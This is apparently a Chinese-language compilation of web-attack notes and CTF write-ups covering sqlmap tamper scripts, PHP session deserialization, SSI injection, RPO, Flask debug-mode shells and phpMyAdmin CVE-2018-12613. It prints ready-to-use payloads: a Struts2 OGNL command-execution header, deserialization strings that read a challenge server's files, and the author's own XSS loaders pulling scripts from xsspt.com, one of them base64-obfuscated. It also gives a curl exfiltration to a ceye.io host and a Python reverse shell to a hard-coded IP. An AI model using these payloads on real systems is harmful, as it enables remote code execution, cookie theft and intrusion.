    return retVal

__priority__ = PRIORITY.LOW 定义脚本优先级,用于指定多个脚本的情况。

主要有以下几种优先级:

__priority__ = PRIORITY.LOWEST
__priority__ = PRIORITY.LOWER
__priority__ = PRIORITY.LOW
__priority__ = PRIORITY.NORMAL
__priority__ = PRIORITY.HIGH
__priority__ = PRIORITY.HIGHER
__priority__ = PRIORITY.HIGHEST

dependencies()函数,对tamper脚本支持/不支持使用的环境进行声明,一般情况下为空。

tamper()函数主要实现对payload的处理操作,上面代码实现了将空格转换成+的操作,单引号或者双引号的里面的不进行替换。

这里要提一下**kwargs参数,大体看了看官方脚本中这个参数被使用到的次数很少,就是一些对请求头的操作:

def tamper(payload, **kwargs):
    """
    Append a HTTP header 'X-originating-IP' to bypass
    WAF Protection of Varnish Firewall

    Notes:
        Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366

        Examples:
        >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
        >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
        >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
        >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)
        >> X-remote-IP: * or %00 or %0A
    """

    headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

添加了一个新的请求头字段X-originating-IP值为127.0.0.1.注释里面写的很清楚了,甚至还给了其他例子。

编写

会一些基本python字符操作就可以上手了,有时候可能用到正则表达式一些东西。

headers头的一些更改就像这样:

kwargs['headers']['Content-type'] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

kwargs['headers']['User-Agent']="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" # 修改User-Agent

tamper脚本编写简单,有些情况下确实很方便。

附加

PHP Session 序列及反序列化安全隐患

PHP Session 序列化及反序列化处理器

PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

处理器对应的存储格式
php键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize(php>=5.5.4)经过 serialize() 函数反序列处理的数组

配置选项 session.serialize_handler

PHP 提供了 session.serialize_handler 配置选项,通过该选项可以设置序列化及反序列化时使用的处理器

安全隐患

一个简单例子:

<?php
class syclover{
        var $func="";
        function __construct() {
            $this->func = "phpinfo()";
        }
        function __wakeup(){
            eval($this->func);
        }
}
unserialize($_GET['a']);
?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那么反序列化得到的内容是:

object(syclover)[1]
  public 'func' => string 'echo "spoock";' (length=14)

最后页面输出的就是spoock,说明最后执行了我们定义的echo "spoock";方法。
这就是一个简单的序列化的漏洞的演示

下面是如何利用:

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
\
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
  'a:1:{s:6:"spoock";s:24:"' => 
    object(__PHP_Incomplete_Class)[1]
      public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。

这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

举个栗子:

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
us2.php,使用php来处理session
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }
    
    function __destruct() {
         eval($this->hi);
    }
}

当访问s1.php时,提交如下的数据:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

实际利用

i)当 session.auto_start=On 时:

当配置选项 session.auto_start=On,会自动注册 Session 会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的,因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话,然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题,如下面的代码:

//foo.php

if (ini_get('session.auto_start')) {
    session_destroy();
}

ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];

当第一次访问该脚本,并提交数据如下:

foo.php?ryat=|O:8:"stdClass":0:{}

脚本会按照 php_serialize 处理器的序列化格式存储数据:

a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}

当第二次访问该脚本时,PHP 会按照 php.ini 里设置的序列化处理器反序列化存储的数据,这时如果 php.ini 里设置的是 php 处理器的话,将会反序列化伪造的数据,成功实例化了 stdClass 对象:)

这里需要注意的是,因为 PHP 自动注册 Session 会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。

ii)当 session.auto_start=Off 时:

当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:

//foo1.php

ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];


//foo2.php

ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini 
session_start();

class ryat {
    var $hi;

    function __wakeup() {
        echo 'hi';
    }
    function __destruct() {
        echo $this->hi;
    }
}

当访问 foo1.php 时,提交数据如下:

foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 foo2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 ryat 对象,并将会执行类中的 __wakeup 方法和 __destruct 方法

本地测试

<?php 
ini_set('session.serialize_handler', 'php_serialize'); 
session_start(); 
$_SESSION["Ni9htMar3"]=$_GET["a"]; 
?>
<?php 
ini_set('session.serialize_handler', 'php'); 
session_start(); 
class Ni9htMar3 
{ 
    public $haha;
    function __construct()
    { 
        //$this->haha = 'echo "Hacked!";';
        $this->haha = 'phpinfo();';         
    } 
    function __destruct() 
    { 
        eval($this->haha); 
    } 
} 
//$m = new Ni9htMar3();
//echo serialize($m);
//|O:9:"Ni9htMar3":1:{s:4:"haha";s:15:"echo "Hacked!";";}
?>

session_start()介绍
php session_start()函数用于初始化session数据,我们在使用session时,经常要使用到$_SESSION变量,$_SESSION是服务器端的cookie,相当一个大数组(浏览器关闭前,和session销毁前),$_SESSION中的数据可以一直用(除了重新赋值),在使用这个变量之前,必须先要开启session_start()。但不一定要把这个函数放在第一行,而是要保证在使用它之前,没有向浏览器输出过任何内容。

特别注意:在调用session_start()之前,要确保页面没有向浏览器输出过任何内容。

php配置文件里可以设置session.auto_start =1 这样就不需要调用session_start(),直接就能使用session

php session_start()实例讲解

<?php
    /* http://www.manongjc.com/article/1267.html */  
    session_start();  
    $_SESSION['test'] = 'test111';  
    $_SESSION['test2'] = 22222;  
?>  

session_start()会做两件事:

  1. 在客户端生成一个存放PHPSESSID的cookie文件,

这个文件的存放位置和存放方式跟程序的执行方式有关,不同的浏览器也不尽相同,这一步会产生一个序列化后的字符串——PHPSESSID;

  1. 在服务端生成一个存放session数据的临时文件;

存放的位置由session.save_path参数指定,名称类似于“sess_b2f326ee7a8b7617c215a30d22a602f1”,“sess_”代表这是个session文件,“b2f326ee7a8b7617c215a30d22a602f1”即此次会话的PHPSESSID,跟客户端的PHPSESSID一定是一样的。这个文件里存放的就是$_SESSION变量里的具体值,格式为:

变量名 | 变量类型 : [长度] : 值

eg:test|s:7:"test111";test2|i:22222;

ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。 

php大于5.5.4的版本中默认使用php_serialize规则

例子

题目源码:jarvis oj 一道题。

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。 
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));

<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

可以看到ini_set('session.serialize_handler', 'php');

session.serialize_handler函数是用来设置session序列化引擎的。这里是将session序列化引擎设置为php解析

题目的关键点就在这里,如果PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化可以在phpinfo里看到,xx服务器默认的解析方式是php_ serialize。而题目中将解析方式设置成了php。这就造成了seesion的反序列化问题。即先以php_serialize存入,再以php的序列化方式读取。

php引擎的解析方式是以 | 分割键名和键值。比如name|s:6:"hu3sky";而php_serialize引擎的解析出来的是a:1:{s:4:"name";s:6:"hu3sky";} 这里只要是php_serialize解析都会有a:1这时我们就可以按照这个特性来构造执行对象的命令。

通过php_serialize构造的:

a:1:{s:6:"hu3sky";s:20:"|O:8:"stdClass":0:{}";}

以php的方式解析会变为:

array(1) { ["a:1:{s:6:"hu3sky";s:20:""]=> object(stdClass)#1 (0) { }}

成功执行了变量。

服务器默认的解析方式是php_ serialize。而题目中将解析方式设置成了php。这就造成了seesion的反序列化问题。即先以php_serialize存入,再以php的序列化方式读取。

这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问index.php时就会被php的引擎反序列化。但是本题没有提供写入session的方法,但是可以通过Session Upload Progress来向服务器设置session。具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS(需要session.upload_progress.enabled 状态为 on)的变量,就可以将filename的值赋值到session中,上传的页面的写法在上面。

最后在Session就会保存上传的文件名。
下面就对PHP_SESSION_UPLOAD_PROGRESS来写入的方式进行测试。
在本地中,需要对$mdzz进行赋值,然后通过析构函数中的eval()去执行$mdzz中的方法。

配置不当可造成session被控。当session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。

在phpinfo 查看 session.upload_progress.name 构造如下上传页面:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

然后构造payload:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz = 'payload';
}
$obj = new OowoO;
echo serialize($obj);
?>

payload1:将payload替换为print_r(scandir(dirname(FILE)));,得到序列化结果(获取目标目录下的内容):

(原博客中此payload有错,已改正。)
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

防止转义在引号前加上。利用前面的html页面随便上传一个东西,抓包,把filename改为如下:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

注意前面的|不要忘了,php解析是把|后面的当成键值。

看到如下返回值内容:

</code>Array
(
    [0] => .
    [1] => ..
    [2] => Here_1s_7he_fl4g_buT_You_Cannot_see.php
    [3] => index.php
    [4] => phpinfo.php
)

下面读取php文件:

先看一下绝对路径,payload如下:

filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:29:\"print_r((dirname(__FILE__)));\";}"

读取文件:

print_r(file_get_contents(“/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php”));

加上为

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

读取得到flag。

参考

PHP session 机制

  • 在网上总结(扒了点)关于session 机制,零零散散,大体就是这些吧。

PHP 服务端session 处理

配置

PHP 中 session 的配置位于 php.ini 中,默认是将session以文件形式存储与文件夹下,一般是 /tmp 目录,每个session文件以 sess_ 开始命名。

处理方式的配置项为

session.save_handler = files

当需要自定义时可以设置

session.save_handler = user

session机制的开始
session_start()

先看文档:

session_start() creates a session or resumes the current one based on a session identifier passed via a GET or POST request, or passed via a cookie.

这里的 session identifier 指的就是同样在 php.ini 配置的

session.name = PHPSESSID //默认值PHPSESSID

简单来说,session_start() 启用了 session 机制,基于客户端是否携带有 session 信息,会进行新建 session 或者复用现有 session。

session 的过期或失效

session 有两种无效的场景,一种场景是客户端结束会话,session 就被视为失效,另一种场景是超出了过期时间。过期时间的默认配置为1440s,也就是24分钟,配置项为:

session.gc_maxlifetime = 1440

超过这个时间的 session 文件被视为过期,但是仅仅是被视为过期,至于清除过期 session 文件则是另外的工作。

session的垃圾回收

session 即使是已经过期,但是文件仍然会存在于 /tmp 目录下,所以需要启动 GC 机制来清除这些过期文件,否则使用对应的 sessionid 仍然可以使用这些文件,PHP 对 session 的垃圾回收处理是有一定概率触发的,同样在 php.ini 中,有两个参数:

session.gc_probability = 1

session.gc_divisor = 1000

这表示每次新建 session 时,PHP 会有1/1000的概率执行垃圾回收,触发后才会清除当前已有的过期 session 文件

session手工销毁

session_destroy();   // 删除$_SESSION 删除session文件,和session_id

客户端session处理

之前提到了配置中可以设置 session 关键字的名称session.name = PHPSESSID, 服务端对于每次请求,会自动判断当前 cookie 是否携带了 $_COOKIE[session_name()]; ,如果存在则直接查找对应的 session 文件,否则就会生成新的 session_id ,然后把生成的 session_id 作为 COOKIE 的值传递到客户端,所以可以看到客户端 cookie 中包含了 PHPSESSID。

存在于客户端 cookie 中的 session 信息,在客户端关闭后会自动被清除,客户端关闭指的是关闭浏览器,而不是关闭一个 tab。

session_start()详细解释

php session_start()函数用于初始化session数据,我们在使用session时,经常要使用到$_SESSION变量,$_SESSION是服务器端的cookie,相当一个大数组(浏览器关闭前,和session销毁前),$_SESSION中的数据可以一直用(除了重新赋值),在使用这个变量之前,必须先要开启session_start()。但不一定要把这个函数放在第一行,而是要保证在使用它之前,没有向浏览器输出过任何内容。

特别注意:在调用session_start()之前,要确保页面没有向浏览器输出过任何内容。

php配置文件里可以设置session.auto_start =1 这样就不需要调用session_start(),直接就能使用session

php session_start()实例讲解

<?php
    /* http://www.manongjc.com/article/1267.html */  
    session_start();  
    $_SESSION['test'] = 'test111';  
    $_SESSION['test2'] = 22222;  
?>  

session_start()会做两件事:

  1. 在客户端生成一个存放PHPSESSID的cookie文件,这个文件的存放位置和存放方式跟程序的执行方式有关,不同的浏览器也不尽相同,这一步会产生一个序列化后的字符串——PHPSESSID。
  2. 在服务端生成一个存放session数据的临时文件,存放的位置由session.save_path参数指定,名称类似于sess_b2f326ee7a8b7617c215a30d22a602f1sess_代表这是个session文件,b2f326ee7a8b7617c215a30d22a602f1即此次会话的PHPSESSID,跟客户端的PHPSESSID一定是一样的。这个文件里存放的就是$_SESSION变量里的具体值,格式如下:
变量名 | 变量类型 : [长度] : 值

test|s:7:"test111";
test2|i:22222;

服务器端包含注入SSI

0x00

高校运维挑战赛中最简单的一道WEB题考到的知识点。本萌新表示一脸懵逼。

0x01 关于SSI

SSI是英文"Server Side Includes"的缩写,翻译成中文就是服务器端包含的意思。

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

1.1 启用SSI

示例:Nginx 配置SSI功能

在http段中加入下面几句即可:

ssi on;
ssi_silent_errors off;
ssi_types text/shtml;

默认Apache不开启SSI,SSI这种技术已经比较少用了。如果应用没有使用到SSI,关闭服务器对SSI的支持即可。

IIS和Apache都可以开启SSI功能,具体可参考:Apache、Nginx 服务配置服务器端包含(SSI)

1.2 SSI语法

首先,介绍下SHTML,在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。比如说框架是固定的,但是里面的文章,其他菜单等即可以用#include引用进来。

  1. 显示服务器端环境变量<#echo>

本文档名称:

<!–#echo var="DOCUMENT_NAME"–>

现在时间:

<!–#echo var="DATE_LOCAL"–>

显示IP地址:

<! #echo var="REMOTE_ADDR"–>
  1. 将文本内容直接插入到文档中<#include>
<! #include file="文件名称"–>
<!--#include virtual="index.html" -->
<! #include virtual="文件名称"–>
<!--#include virtual="/www/footer.html" -->
  • 注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径
  1. 显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)

文件最近更新日期:

<! #flastmod file="文件名称"–>

文件的长度:

<!–#fsize file="文件名称"–>

4.直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

<!–#exec cmd="文件名称"–>
<!--#exec cmd="cat /etc/passwd"-->
<!–#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>

将某一外部程序的输出插入到页面中。可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi。

  1. 设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)
  2. 高级SSI可设置变量使用if条件语句。

0x02 漏洞场景

在很多业务中,用户输入的内容会显示在页面中。比如,一个存在反射型XSS漏洞的页面,如果输入的payload不是XSS代码而是SSI的标签,同时服务器又开启了对SSI的支持的话就会存在SSI漏洞。

0x03 SSI注入的条件

当符合下列条件时,攻击者可以在 Web 服务器上运行任意命令:

Web 服务器已支持SSI(服务器端包含)
Web 应用程序未对对相关SSI关键字做过滤
Web 应用程序在返回响应的HTML页面时,嵌入用户输入
SSI注入常用命令:[Server-Side Includes (SSI) Injection] 

RPO攻击

什么是ROP?

首先从名字上理解一下,RPO(Relative Path Overwrite)相对路径覆盖,即通过利用浏览器和服务器的反应差异,将页面中使用相对路径引入的静态资源文件偷梁换柱。

当我们把原本的静态资源文件替换成我们自定义的恶意脚本,就造成了 RPO 攻击,导致了XSS,信息泄露等漏洞产生。

服务器端对%2f的解析差异

对于Apache服务器:

访问http://localhost/RPO/index.php,成功
访问http://localhost/RPO%2findex.php,失败

对于Nginx服务器:

访问http://localhost/RPO/index.php,成功
访问http://localhost/RPO%2findex.php,成功
  • Nginx web服务器是会对带有%2f的URL解析的
  • Apache服务器时不能对带有%2f的URL进行解析的

浏览器端对%2f的解析

此处使用Nginx服务器。

访问http://localhost/RPO/aa%2fbb/index.php,css获取../style.css
浏览器请求的页面:http://localhost/RPO/aa%2fbb/index.php
浏览器”应该”请求的CSS:http://localhost/RPO/aa/style.css
浏览器实际请求的css:http://localhost/RPO/style.css
浏览器认为的当前路径是 :http://localhost/RPO/aa%2fbb/
  • 浏览器是不会识别%2f作为路径分割的

什么情况下会导致 RPO 攻击?

综上所述,要实现 RPO(注意是 RPO 不是 RPO 攻击) 要满足两个基本条件:

  • 服务端可以将 %2f 解析为“/”
  • 页面使用相对路径引入资源

而要构造 RPO 攻击,还需要满足:

  • 有内容可控的输出界面:如留言板、发布文章等。
  • 服务端使用了非精确匹配的正则匹配模式(这样可以将包含我们自定义内容的界面以静态资源的形式引入,而不是404的情况。

一个简单的验证方法是,在正常的地址后再添加/xxxxx/,如果仍然可以返回之前的内容,则说明满足要求。这种情况多见于 MVC 框架搭建的网站,或者自定义了 Nginx 以及 Apache 的路由规则,实现的伪静态网站。

这样,利用通过利用 ..%2f 将 我们自己构造的恶意代码,以静态文件的形式引入到页面,就造成了 RPO 攻击。

恶意代码可以是js,也可以是css

如果是插入在页面中则不需要<script>标签,只要语法正确就可以被解析。

  • 这里要知道js文件要求文件内所有内容必须满足其语法要求,只要出现一处错误就会error。
  • 而CSS文件只要文件内容有一部分满足 css 语法要求的代码,就可以正常解析。

我自己的payload

哈哈

<script src=http://xsspt.com/MoY085?1542458978></script>
http://xsspt.com/MoY085?1542458978
<script src=http://t.cn/E2Laj0R></script>
<script src=//xsspt.com/MoY085></script>
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8veHNzcHQuY29tL01vWTA4NT8nK01hdGgucmFuZG9tKCk='))>

强网杯一道相关题目

http://39.107.33.96:20000/index.php/view/article/1654这个页面中已经有我们评论的相关恶意的js代码。

http://39.107.33.96:20000/index.php/view/article/1654/..%2f..%2f..%2f..%2f提交给后台机器人。
此时根据RPO攻击原理服务器端解析的URL为http://39.107.33.96:20000/index.php
而客户端浏览器加载的为http://39.107.33.96:20000/index.php/view/article/1654/static/js/jquery.min.js
而此时由于在pathinfo模式下,且服务器在找到有内容的页面后,不会解析后续没有意义的目录。此时浏览器去请求http://39.107.33.96:20000/index.php/view/article/1654/static/js/jquery.min.js服务器端返回给客户端浏览器的却是/index.php/view/article/1654的内容。而浏览器并不知情,所以就把返回的内容也就是我们提交的文章内容当作js来解析了。从而构成了一次xss攻击。

Flask 开启Debug模式直接getshell

开始

写一个最简单的基于Flask的Web应用,并开启调试模式

rom flask import Flask

app = Flask(__name__)

@app.route("/")
def hello():
    return Hello

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80, debug=True)

python hello.py 部署到linux下

利用

由于该网站的后端代码存在语法错误,在网站运行过程中,我们只要访问这个网站的根目录,就会执行hello()函数,由于其返回值未定义,存在语法问题,故抛出500错误,进入debug页面。

接下来就说一说,如何利用这个debug页面。

通过栈回溯信息可以看到,Python解释器及相关第三方模块的路径。

先说明一下Flask版本不同,高版本会弹出输入pin码,低版本只要开启debug模式直接进入交互模式(不是严格意义上的交互模式)。

最初我的想法是直接利用这个交互式shell,导入os模块,执行系统命令。当我执行ls命令,试图让其返回当前目录下的文件列表时,奈何只返回了一个数字0。竟然没有返回值!所以只能说是shell,还够不上交互。

我输入的代码os.system('ls')只返回了一个数字0,通过os.system()调用nc反弹shell也不能成功。走到这里,我是有一个疑问的,我输入的python代码是否成功执行?是不是因为设置了Python沙盒,禁用了某些函数。

由于获取不到返回内容,并不能确定python代码是否成功执行,也不能确定当前权限哪些系统命令可以执行,哪些不能执行。当然,靠猜的话,那就没啥意思了,万事都要讲究个逻辑。

便想着curl下自己的站点,观察访问日志(如果最后shell反弹不成功的话,通过这种方式也可以获取到命令执行的返回值)。

>>> os.system("curl http://m5ap34.ceye.io/`whoami`")
{"meta": {"code": 201, "message": "HTTP Record Insert Success"}}0

CEYE平台收到记录

由此可见,os.system()函数没有被禁用,于是尝试反弹shell

反弹shell

nc -vvlp 6650

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("123.206.155.221",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

GetShell

CVE-2016-7124 反序列化绕过__wakeup执行

0x01 基本原理

CVE-2016-7124,简单来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,Demo如下:

0x02代码演示

<?php
/**
 * Created by PhpStorm.
 * User: 徐超
 * Date: 2018/10/20
 * Time: 下午 08:15
 */

class test{
    var $a = "phpinfo();";
    public function __wakeup()
    {
        $this->a = null;
        // TODO: Implement __wakeup() method.

    }
    public function __destruct()
    {
        // TODO: Implement __destruct() method.
        $fp = fopen("D:\\wakeup.php","w");
        fputs($fp,$this->a);
        fclose($fp);
    }

}
// $b = new test();
//$c = serialize($b);

$d = 'O:4:"test":2:{s:1:"a";s:16:"<php? phpinfo();";}'; #对象属性个数值大于真实值,跳过__wakeup执行,写入文件内容
//$d = 'O:4:"test":1:{s:1:"a";s:10:"<?php phpinfo();";}';  #正常生产的php代码-->>文件内容为空
$e = unserialize($d);
echo "\n\r";

CVE-2018-12613 PhpMyadmin后台文件包含分析

描述:

一个攻击者可以在服务器上包含(查看和潜在执行)文件的漏洞被发现。
该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。
攻击者必须经过身份验证,但在这些情况下除外:
$ cfg ['AllowArbitraryServer'] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码
$ cfg ['ServerDefault'] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码

受影响版本:

phpMyAdmin 4.8.0和4.8.1受到影响。

漏洞分析

/index.php

//line 55-63
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

if区间一共有五个判断:

  1. 是否存在target参数
  2. target参数是否为字符串
  3. 值不能以index开头
  4. 值不能出现在$target_blacklist内
  5. Core类的checkPageValidity方法判断

如果通过判断则包含参数所指定的文件。

前几个判断可以忽略,重要的是后面两个判断,先看第一个

/index.php
//line 50-52
$target_blacklist = array (
    'import.php', 'export.php'
);

$target_blacklist中的数组为import.php 和 export.php,只要target的值不是这两个就可以

我们看下一个判断

首先找到Core类的checkPageValidity函数:

//443-478
public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }
    if (in_array($page, $whitelist)) {
        return true;
    }
    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    $_page = urldecode($page);
    
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    return false;
}

checkPageValidity函数里又是五个判断:

  1. $whitelist为空则引用静态声明的$goto_whitelist
  2. 如果$page没有被定义过或者$page不为字符串则return false
  3. $page存在$whitelist中的某个值则返回true
  4. $_page存在$whitelist中的某个值则返回true
  5. 经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true

我们来逐行分析:

首先index.php调用checkPageValidity参数时并没有传第二个参数所以会进入此参数的第一个if区间,我们来看一下$goto_whilelist

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
......
        'user_password.php',
    );

$goto_whilelist定义了些可以被包含的文件名(省略了一部分)

第二个if直接跳过我们来看第三个if区间,如果$page如果等于$goto_whilelist的某个值则return真。

phpmyadmin的开发团队考虑的很全面,想到了会存在target的值后面再跟参数的情况,于是有了第三个判断:

$_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}

$_page为 以?分割然后取出前面的字符串再判断值是否存在与$goto_whilelist某个数组中。

这个判断的作用是,如果target值带有参数的情况下,phpmyadmin也能正确的包含文件。

也正是因为phpmyadmin团队考虑的太全面了,才会出现此漏洞......

$_page = urldecode($page);
$_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}

payload读取文件

后面又将$page参数用urlencode解码再进行以?分割取出前面的值做判断。

那么传入payload: url + ?target=db_sql.php%253f/../../test.txt

读取test.txt

//%253f是?号的二次url编码
preView